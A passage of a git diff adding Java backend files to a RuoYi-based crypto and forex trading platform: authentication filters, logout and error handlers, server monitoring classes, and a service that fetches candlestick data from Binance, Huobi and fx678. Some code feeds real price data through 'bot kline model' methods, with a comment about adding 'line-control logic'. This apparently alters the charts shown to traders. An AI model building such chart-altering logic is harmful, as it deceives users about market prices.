tokenService.getLoginUser(request); + if (StringUtils.isNotNull(loginUser) && StringUtils.isNull(SecurityUtils.getAuthentication())) + { + tokenService.verifyToken(loginUser); + UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(loginUser, null, loginUser.getAuthorities()); + authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request)); + SecurityContextHolder.getContext().setAuthentication(authenticationToken); + } + chain.doFilter(request, response); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java new file mode 100644 index 0000000..93b7032 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java @@ -0,0 +1,34 @@ +package com.ruoyi.framework.security.handle; + +import java.io.IOException; +import java.io.Serializable; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.AuthenticationEntryPoint; +import org.springframework.stereotype.Component; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; + +/** + * 认证失败处理类 返回未授权 + * + * @author ruoyi + */ +@Component +public class AuthenticationEntryPointImpl implements AuthenticationEntryPoint, Serializable +{ + private static final long serialVersionUID = -8970718410437077606L; + + @Override + public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException e) + throws IOException + { + int code = HttpStatus.UNAUTHORIZED; + String msg = StringUtils.format("请求访问:{},认证失败,无法访问系统资源", request.getRequestURI()); + ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.error(code, msg))); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java new file mode 100644 index 0000000..c01f691 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java @@ -0,0 +1,52 @@ +package com.ruoyi.framework.security.handle; + +import java.io.IOException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.logout.LogoutSuccessHandler; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.framework.web.service.TokenService; + +/** + * 自定义退出处理类 返回成功 + * + * @author ruoyi + */ +@Configuration +public class LogoutSuccessHandlerImpl implements LogoutSuccessHandler +{ + @Autowired + private TokenService tokenService; + + /** + * 退出处理 + * + * @return + */ + @Override + public void onLogoutSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) + throws IOException, ServletException + { + LoginUser loginUser = tokenService.getLoginUser(request); + if (StringUtils.isNotNull(loginUser)) + { + String userName = loginUser.getUsername(); + // 删除用户缓存记录 + tokenService.delLoginUser(loginUser.getToken()); + // 记录用户退出日志 + AsyncManager.me().execute(AsyncFactory.recordLogininfor(userName, Constants.LOGOUT, "退出成功")); + } + ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.success("退出成功"))); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java new file mode 100644 index 0000000..e43ca6f --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java @@ -0,0 +1,18 @@ +package com.ruoyi.framework.web.domain; + +import lombok.Data; + +@Data +public class KlineParamVO { + //["ONE_MIN","FIVE_MIN","FIFTEEN_MIN","THIRTY_MIN","ONE_HOUR","TWO_HOUR","SIX_HOUR","ONE_DAY","TWO_DAY","SEVEN_DAY"] + private String Interval; + //BTC or ETH ....等等 + private String symbol; + + private String[] symbols; + //结束 + private Long end ; + //交易所 + private String market; + private String[] markets; +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java new file mode 100644 index 0000000..63b03da --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java @@ -0,0 +1,240 @@ +package com.ruoyi.framework.web.domain; + +import java.net.UnknownHostException; +import java.util.LinkedList; +import java.util.List; +import java.util.Properties; +import com.ruoyi.common.utils.Arith; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.framework.web.domain.server.Cpu; +import com.ruoyi.framework.web.domain.server.Jvm; +import com.ruoyi.framework.web.domain.server.Mem; +import com.ruoyi.framework.web.domain.server.Sys; +import com.ruoyi.framework.web.domain.server.SysFile; +import oshi.SystemInfo; +import oshi.hardware.CentralProcessor; +import oshi.hardware.CentralProcessor.TickType; +import oshi.hardware.GlobalMemory; +import oshi.hardware.HardwareAbstractionLayer; +import oshi.software.os.FileSystem; +import oshi.software.os.OSFileStore; +import oshi.software.os.OperatingSystem; +import oshi.util.Util; + +/** + * 服务器相关信息 + * + * @author ruoyi + */ +public class Server +{ + private static final int OSHI_WAIT_SECOND = 1000; + + /** + * CPU相关信息 + */ + private Cpu cpu = new Cpu(); + + /** + * 內存相关信息 + */ + private Mem mem = new Mem(); + + /** + * JVM相关信息 + */ + private Jvm jvm = new Jvm(); + + /** + * 服务器相关信息 + */ + private Sys sys = new Sys(); + + /** + * 磁盘相关信息 + */ + private List sysFiles = new LinkedList(); + + public Cpu getCpu() + { + return cpu; + } + + public void setCpu(Cpu cpu) + { + this.cpu = cpu; + } + + public Mem getMem() + { + return mem; + } + + public void setMem(Mem mem) + { + this.mem = mem; + } + + public Jvm getJvm() + { + return jvm; + } + + public void setJvm(Jvm jvm) + { + this.jvm = jvm; + } + + public Sys getSys() + { + return sys; + } + + public void setSys(Sys sys) + { + this.sys = sys; + } + + public List getSysFiles() + { + return sysFiles; + } + + public void setSysFiles(List sysFiles) + { + this.sysFiles = sysFiles; + } + + public void copyTo() throws Exception + { + SystemInfo si = new SystemInfo(); + HardwareAbstractionLayer hal = si.getHardware(); + + setCpuInfo(hal.getProcessor()); + + setMemInfo(hal.getMemory()); + + setSysInfo(); + + setJvmInfo(); + + setSysFiles(si.getOperatingSystem()); + } + + /** + * 设置CPU信息 + */ + private void setCpuInfo(CentralProcessor processor) + { + // CPU信息 + long[] prevTicks = processor.getSystemCpuLoadTicks(); + Util.sleep(OSHI_WAIT_SECOND); + long[] ticks = processor.getSystemCpuLoadTicks(); + long nice = ticks[TickType.NICE.getIndex()] - prevTicks[TickType.NICE.getIndex()]; + long irq = ticks[TickType.IRQ.getIndex()] - prevTicks[TickType.IRQ.getIndex()]; + long softirq = ticks[TickType.SOFTIRQ.getIndex()] - prevTicks[TickType.SOFTIRQ.getIndex()]; + long steal = ticks[TickType.STEAL.getIndex()] - prevTicks[TickType.STEAL.getIndex()]; + long cSys = ticks[TickType.SYSTEM.getIndex()] - prevTicks[TickType.SYSTEM.getIndex()]; + long user = ticks[TickType.USER.getIndex()] - prevTicks[TickType.USER.getIndex()]; + long iowait = ticks[TickType.IOWAIT.getIndex()] - prevTicks[TickType.IOWAIT.getIndex()]; + long idle = ticks[TickType.IDLE.getIndex()] - prevTicks[TickType.IDLE.getIndex()]; + long totalCpu = user + nice + cSys + idle + iowait + irq + softirq + steal; + cpu.setCpuNum(processor.getLogicalProcessorCount()); + cpu.setTotal(totalCpu); + cpu.setSys(cSys); + cpu.setUsed(user); + cpu.setWait(iowait); + cpu.setFree(idle); + } + + /** + * 设置内存信息 + */ + private void setMemInfo(GlobalMemory memory) + { + mem.setTotal(memory.getTotal()); + mem.setUsed(memory.getTotal() - memory.getAvailable()); + mem.setFree(memory.getAvailable()); + } + + /** + * 设置服务器信息 + */ + private void setSysInfo() + { + Properties props = System.getProperties(); + sys.setComputerName(IpUtils.getHostName()); + sys.setComputerIp(IpUtils.getHostIp()); + sys.setOsName(props.getProperty("os.name")); + sys.setOsArch(props.getProperty("os.arch")); + sys.setUserDir(props.getProperty("user.dir")); + } + + /** + * 设置Java虚拟机 + */ + private void setJvmInfo() throws UnknownHostException + { + Properties props = System.getProperties(); + jvm.setTotal(Runtime.getRuntime().totalMemory()); + jvm.setMax(Runtime.getRuntime().maxMemory()); + jvm.setFree(Runtime.getRuntime().freeMemory()); + jvm.setVersion(props.getProperty("java.version")); + jvm.setHome(props.getProperty("java.home")); + } + + /** + * 设置磁盘信息 + */ + private void setSysFiles(OperatingSystem os) + { + FileSystem fileSystem = os.getFileSystem(); + List fsArray = fileSystem.getFileStores(); + for (OSFileStore fs : fsArray) + { + long free = fs.getUsableSpace(); + long total = fs.getTotalSpace(); + long used = total - free; + SysFile sysFile = new SysFile(); + sysFile.setDirName(fs.getMount()); + sysFile.setSysTypeName(fs.getType()); + sysFile.setTypeName(fs.getName()); + sysFile.setTotal(convertFileSize(total)); + sysFile.setFree(convertFileSize(free)); + sysFile.setUsed(convertFileSize(used)); + sysFile.setUsage(Arith.mul(Arith.div(used, total, 4), 100)); + sysFiles.add(sysFile); + } + } + + /** + * 字节转换 + * + * @param size 字节大小 + * @return 转换后值 + */ + public String convertFileSize(long size) + { + long kb = 1024; + long mb = kb * 1024; + long gb = mb * 1024; + if (size >= gb) + { + return String.format("%.1f GB", (float) size / gb); + } + else if (size >= mb) + { + float f = (float) size / mb; + return String.format(f > 100 ? "%.0f MB" : "%.1f MB", f); + } + else if (size >= kb) + { + float f = (float) size / kb; + return String.format(f > 100 ? "%.0f KB" : "%.1f KB", f); + } + else + { + return String.format("%d B", size); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java new file mode 100644 index 0000000..ab461f9 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java @@ -0,0 +1,16 @@ +package com.ruoyi.framework.web.domain; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class Ticker24hVO { + + private String symbol ; + private BigDecimal highPrice ; + private BigDecimal lowPrice ; + private BigDecimal volume ; + +} + diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java new file mode 100644 index 0000000..a13a66c --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java @@ -0,0 +1,101 @@ +package com.ruoyi.framework.web.domain.server; + +import com.ruoyi.common.utils.Arith; + +/** + * CPU相关信息 + * + * @author ruoyi + */ +public class Cpu +{ + /** + * 核心数 + */ + private int cpuNum; + + /** + * CPU总的使用率 + */ + private double total; + + /** + * CPU系统使用率 + */ + private double sys; + + /** + * CPU用户使用率 + */ + private double used; + + /** + * CPU当前等待率 + */ + private double wait; + + /** + * CPU当前空闲率 + */ + private double free; + + public int getCpuNum() + { + return cpuNum; + } + + public void setCpuNum(int cpuNum) + { + this.cpuNum = cpuNum; + } + + public double getTotal() + { + return Arith.round(Arith.mul(total, 100), 2); + } + + public void setTotal(double total) + { + this.total = total; + } + + public double getSys() + { + return Arith.round(Arith.mul(sys / total, 100), 2); + } + + public void setSys(double sys) + { + this.sys = sys; + } + + public double getUsed() + { + return Arith.round(Arith.mul(used / total, 100), 2); + } + + public void setUsed(double used) + { + this.used = used; + } + + public double getWait() + { + return Arith.round(Arith.mul(wait / total, 100), 2); + } + + public void setWait(double wait) + { + this.wait = wait; + } + + public double getFree() + { + return Arith.round(Arith.mul(free / total, 100), 2); + } + + public void setFree(double free) + { + this.free = free; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java new file mode 100644 index 0000000..1fdc6ac --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java @@ -0,0 +1,130 @@ +package com.ruoyi.framework.web.domain.server; + +import java.lang.management.ManagementFactory; +import com.ruoyi.common.utils.Arith; +import com.ruoyi.common.utils.DateUtils; + +/** + * JVM相关信息 + * + * @author ruoyi + */ +public class Jvm +{ + /** + * 当前JVM占用的内存总数(M) + */ + private double total; + + /** + * JVM最大可用内存总数(M) + */ + private double max; + + /** + * JVM空闲内存(M) + */ + private double free; + + /** + * JDK版本 + */ + private String version; + + /** + * JDK路径 + */ + private String home; + + public double getTotal() + { + return Arith.div(total, (1024 * 1024), 2); + } + + public void setTotal(double total) + { + this.total = total; + } + + public double getMax() + { + return Arith.div(max, (1024 * 1024), 2); + } + + public void setMax(double max) + { + this.max = max; + } + + public double getFree() + { + return Arith.div(free, (1024 * 1024), 2); + } + + public void setFree(double free) + { + this.free = free; + } + + public double getUsed() + { + return Arith.div(total - free, (1024 * 1024), 2); + } + + public double getUsage() + { + return Arith.mul(Arith.div(total - free, total, 4), 100); + } + + /** + * 获取JDK名称 + */ + public String getName() + { + return ManagementFactory.getRuntimeMXBean().getVmName(); + } + + public String getVersion() + { + return version; + } + + public void setVersion(String version) + { + this.version = version; + } + + public String getHome() + { + return home; + } + + public void setHome(String home) + { + this.home = home; + } + + /** + * JDK启动时间 + */ + public String getStartTime() + { + return DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS, DateUtils.getServerStartDate()); + } + + /** + * JDK运行时间 + */ + public String getRunTime() + { + return DateUtils.timeDistance(DateUtils.getNowDate(), DateUtils.getServerStartDate()); + } + + /** + * 运行参数 + */ + public String getInputArgs() + { + return ManagementFactory.getRuntimeMXBean().getInputArguments().toString(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java new file mode 100644 index 0000000..13eec52 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java @@ -0,0 +1,61 @@ +package com.ruoyi.framework.web.domain.server; + +import com.ruoyi.common.utils.Arith; + +/** + * 內存相关信息 + * + * @author ruoyi + */ +public class Mem +{ + /** + * 内存总量 + */ + private double total; + + /** + * 已用内存 + */ + private double used; + + /** + * 剩余内存 + */ + private double free; + + public double getTotal() + { + return Arith.div(total, (1024 * 1024 * 1024), 2); + } + + public void setTotal(long total) + { + this.total = total; + } + + public double getUsed() + { + return Arith.div(used, (1024 * 1024 * 1024), 2); + } + + public void setUsed(long used) + { + this.used = used; + } + + public double getFree() + { + return Arith.div(free, (1024 * 1024 * 1024), 2); + } + + public void setFree(long free) + { + this.free = free; + } + + public double getUsage() + { + return Arith.mul(Arith.div(used, total, 4), 100); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java new file mode 100644 index 0000000..45d64d9 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java @@ -0,0 +1,84 @@ +package com.ruoyi.framework.web.domain.server; + +/** + * 系统相关信息 + * + * @author ruoyi + */ +public class Sys +{ + /** + * 服务器名称 + */ + private String computerName; + + /** + * 服务器Ip + */ + private String computerIp; + + /** + * 项目路径 + */ + private String userDir; + + /** + * 操作系统 + */ + private String osName; + + /** + * 系统架构 + */ + private String osArch; + + public String getComputerName() + { + return computerName; + } + + public void setComputerName(String computerName) + { + this.computerName = computerName; + } + + public String getComputerIp() + { + return computerIp; + } + + public void setComputerIp(String computerIp) + { + this.computerIp = computerIp; + } + + public String getUserDir() + { + return userDir; + } + + public void setUserDir(String userDir) + { + this.userDir = userDir; + } + + public String getOsName() + { + return osName; + } + + public void setOsName(String osName) + { + this.osName = osName; + } + + public String getOsArch() + { + return osArch; + } + + public void setOsArch(String osArch) + { + this.osArch = osArch; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java new file mode 100644 index 0000000..1320cde --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java @@ -0,0 +1,114 @@ +package com.ruoyi.framework.web.domain.server; + +/** + * 系统文件相关信息 + * + * @author ruoyi + */ +public class SysFile +{ + /** + * 盘符路径 + */ + private String dirName; + + /** + * 盘符类型 + */ + private String sysTypeName; + + /** + * 文件类型 + */ + private String typeName; + + /** + * 总大小 + */ + private String total; + + /** + * 剩余大小 + */ + private String free; + + /** + * 已经使用量 + */ + private String used; + + /** + * 资源的使用率 + */ + private double usage; + + public String getDirName() + { + return dirName; + } + + public void setDirName(String dirName) + { + this.dirName = dirName; + } + + public String getSysTypeName() + { + return sysTypeName; + } + + public void setSysTypeName(String sysTypeName) + { + this.sysTypeName = sysTypeName; + } + + public String getTypeName() + { + return typeName; + } + + public void setTypeName(String typeName) + { + this.typeName = typeName; + } + + public String getTotal() + { + return total; + } + + public void setTotal(String total) + { + this.total = total; + } + + public String getFree() + { + return free; + } + + public void setFree(String free) + { + this.free = free; + } + + public String getUsed() + { + return used; + } + + public void setUsed(String used) + { + this.used = used; + } + + public double getUsage() + { + return usage; + } + + public void setUsage(double usage) + { + this.usage = usage; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java new file mode 100644 index 0000000..51dd8c5 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java @@ -0,0 +1,114 @@ +package com.ruoyi.framework.web.exception; + +import javax.servlet.http.HttpServletRequest; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.access.AccessDeniedException; +import org.springframework.validation.BindException; +import org.springframework.web.HttpRequestMethodNotSupportedException; +import org.springframework.web.bind.MethodArgumentNotValidException; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.exception.DemoModeException; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; + +/** + * 全局异常处理器 + * + * @author ruoyi + */ +@RestControllerAdvice +public class GlobalExceptionHandler +{ + private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class); + + /** + * 权限校验异常 + */ + @ExceptionHandler(AccessDeniedException.class) + public AjaxResult handleAccessDeniedException(AccessDeniedException e, HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',权限校验失败'{}'", requestURI, e.getMessage()); + return AjaxResult.error(HttpStatus.FORBIDDEN, "没有权限,请联系管理员授权"); + } + + /** + * 请求方式不支持 + */ + @ExceptionHandler(HttpRequestMethodNotSupportedException.class) + public AjaxResult handleHttpRequestMethodNotSupported(HttpRequestMethodNotSupportedException e, + HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',不支持'{}'请求", requestURI, e.getMethod()); + return AjaxResult.error(e.getMessage()); + } + + /** + * 业务异常 + */ + @ExceptionHandler(ServiceException.class) + public AjaxResult handleServiceException(ServiceException e, HttpServletRequest request) + { + log.error(e.getMessage(), e); + Integer code = e.getCode(); + return StringUtils.isNotNull(code) ? AjaxResult.error(code, e.getMessage()) : AjaxResult.error(e.getMessage()); + } + + /** + * 拦截未知的运行时异常 + */ + @ExceptionHandler(RuntimeException.class) + public AjaxResult handleRuntimeException(RuntimeException e, HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生未知异常.", requestURI, e); + return AjaxResult.error(e.getMessage()); + } + + /** + * 系统异常 + */ + @ExceptionHandler(Exception.class) + public AjaxResult handleException(Exception e, HttpServletRequest request) + { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生系统异常.", requestURI, e); + return AjaxResult.error(e.getMessage()); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(BindException.class) + public AjaxResult handleBindException(BindException e) + { + log.error(e.getMessage(), e); + String message = e.getAllErrors().get(0).getDefaultMessage(); + return AjaxResult.error(message); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(MethodArgumentNotValidException.class) + public Object handleMethodArgumentNotValidException(MethodArgumentNotValidException e) + { + log.error(e.getMessage(), e); + String message = e.getBindingResult().getFieldError().getDefaultMessage(); + return AjaxResult.error(message); + } + + /** + * 演示模式异常 + */ + @ExceptionHandler(DemoModeException.class) + public AjaxResult handleDemoModeException(DemoModeException e) + { + return AjaxResult.error("演示模式,不允许操作"); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java new file mode 100644 index 0000000..438397d --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java @@ -0,0 +1,571 @@ +package com.ruoyi.framework.web.service; + +import cc.block.data.api.domain.enumeration.Interval; +import cc.block.data.api.domain.market.Kline; +import cn.hutool.http.HttpRequest; +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.binance.connector.client.SpotClient; +import com.binance.connector.client.impl.SpotClientImpl; +import com.huobi.api.request.account.SwapMarketHistoryKlineRequest; +import com.huobi.api.response.market.SwapMarketHistoryKlineResponse; +import com.huobi.api.service.market.MarketAPIServiceImpl; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.bussiness.service.ITBotKlineModelInfoService; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.CandlestickIntervalEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.web.domain.KlineParamVO; +import com.ruoyi.framework.web.domain.Ticker24hVO; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.*; + +@Service +@Slf4j +public class BlockccService { + @Autowired + private ITBotKlineModelInfoService botKlineModelInfoService; + @Autowired + private ITBotKlineModelService botKlineModelService; + @Resource + private ITOwnCoinService itOwnCoinService; + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private RedisCache redisCache; + + public List getHistoryKline(KlineParamVO klineParam) { + try { + + + String market = StringUtils.isBlank(klineParam.getMarket()) ? "" : klineParam.getMarket(); + String timeCode = this.getMt5Time(klineParam.getInterval()); + String symbol = klineParam.getSymbol(); + switch (market) { + case "binance": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + parameters.put("symbol", symbol.toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + + return his; + } + case "huobi": { + MarketAPIServiceImpl huobiAPIService = new MarketAPIServiceImpl(); + SwapMarketHistoryKlineRequest result = SwapMarketHistoryKlineRequest.builder() + .contractCode(symbol.toUpperCase() + "-USDT")//合约代码 "BTC-USDT" ... + .period(CandlestickIntervalEnum.getValue(klineParam.getInterval())) //K线类型 1min, 5min, 15min, 30min, 60min,4hour,1day,1week,1mon + .size(1000) //获取数量,默认150 [1,2000] + //.from() //开始时间戳 10位 单位S + //.to();//结束时间戳 10位 单位S + .build(); + List his = new ArrayList<>(); + SwapMarketHistoryKlineResponse response = huobiAPIService.getSwapMarketHistoryKline(result); + if ("ok".equalsIgnoreCase(response.getStatus())) { + List list = response.getData(); + for (SwapMarketHistoryKlineResponse.DataBean data : list) { + Kline kline = new Kline(); + kline.setTimestamp(data.getId()); + kline.setOpen(data.getOpen().doubleValue()); + kline.setHigh(data.getHigh().doubleValue()); + kline.setLow(data.getLow().doubleValue()); + kline.setClose(data.getClose().doubleValue()); + kline.setVolume(data.getVol().doubleValue()); + his.add(kline); + } + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "echo": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toLowerCase())); + if (null == one) { + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = itOwnCoinService.selectLineList(one, his); + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "energy": { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5700&st=" + v; + String result = HttpRequest.get(url) + .header("Referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com") + .timeout(20000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + default: { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8100&st=" + v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8200&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5c00&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + } + }catch (Exception e){ + log.info(e.toString()); + } + return null; + } + + public List getHistoryKline2(KlineParamVO klineParam) { + String market = StringUtils.isBlank(klineParam.getMarket()) ? "" : klineParam.getMarket(); + String timeCode = this.getMt5Time(klineParam.getInterval()); + String symbol = klineParam.getSymbol(); + switch (market) { + case "binance": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + parameters.put("symbol", symbol.toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + parameters.put("limit",50); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); 